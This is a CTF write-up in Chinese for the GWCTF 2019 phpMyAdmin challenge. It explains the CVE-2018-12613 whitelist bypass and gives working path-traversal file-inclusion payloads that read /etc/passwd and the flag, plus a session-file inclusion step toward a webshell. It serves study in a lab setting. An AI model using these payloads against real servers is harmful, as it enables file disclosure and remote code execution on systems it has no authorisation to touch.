[GWCTF 2019]我有一个数据库 wp

打开题目看到的是乱码，想到可能是还有其他的路径，就用dirsearch扫一下

得到了/phpmyadmin/路径，加上题目是我有一个数据库，于是想到应该本题就是和phpmyadmin数据库有关

我们可以看到phpmyadmin的版本为4.8.1，搜索后发现这个版本的phpmyadmin存在漏洞CVE-2018-12613，下面我们复现一下漏洞。

首先分析一下源码：

index.php 关于target的部分

$target_blacklist = array (
    'import.php', 'export.php'
)；       设置黑名单，过滤'import.php', 'export.php'

&& is_string($_REQUEST['target'])   需要是字符串

&& ! preg_match('/^index/', $_REQUEST['target'])  不能以index开头

&& ! in_array($_REQUEST['target'], $target_blacklist)  黑名单

&& Core::checkPageValidity($_REQUEST['target']) 白名单过滤

Core::checkPageValidity方法位于libraries/classes/Core.php中443行，此函数作用为：

$whitelist 为空就引用申明的 $goto_whitelist；
$page 如果没有定义或者 $page 不为字符串就返回 false；
$page 如果存在在 $whitelist 中返回 true；
如果 $_page 存在在 $whitelist 中返回 true；
经过 urldecode 函数解码后的 $_page 存在在 $whitelist 中返回 true。

判断?前面的内容是否在白名单中，是则返回true。但是函数并没有对输入的参数做修改，截取的结果都保存在$_page中，所以target只需前面为白名单&%3F或者白名单%253F（？两次url编码）就可以绕过Core::checkPageValidity方法的白名单检测。

出现问题的代码：

$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

在看看白名单

self::$goto_whitelist

所以可以在白名单？后面的参数进行操作

例如传入：
?target=db_sql.php%253f
由于服务器会自动解码一次，所以在checkPageValidity()中，$page的值一开始会是db_sql%3f，又一次url解码后变成了db_sql.php?，这次便符合了?前内容在白名单的要求，函数返回true
但在index.php中$_REQUEST['target']仍然是db_sql%3f，而且会被include，通过目录穿越，就可造成任意文件包含

漏洞复现

首先用 vulhub去复现漏洞    cd vulhub/phpmyadmin/CVE-2018-12613

利用docker-compose up -d 搭建环境

192.168.0.33：8080？?target=db_sql.php%253f/../../../../../../../../etc/passwd

可见/etc/passwd被读取，说明文件包含漏洞存在

通过文件包含获取webshell

然后查看自己的sessionid（cookie中phpMyAdmin的值）

然后访问http://192.168.0.33:8080/?target=db_sql.php%253f/../../../../../../../../tmp/sess_9ddf5eb053ac119eb10c2838eb331f1b包含session文件即可

下面回到题目

可以用类似192.168.0.33：8080？?target=db_sql.php%253f/../../../../../../../../etc/passwd的方法读取flag

payload:

phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag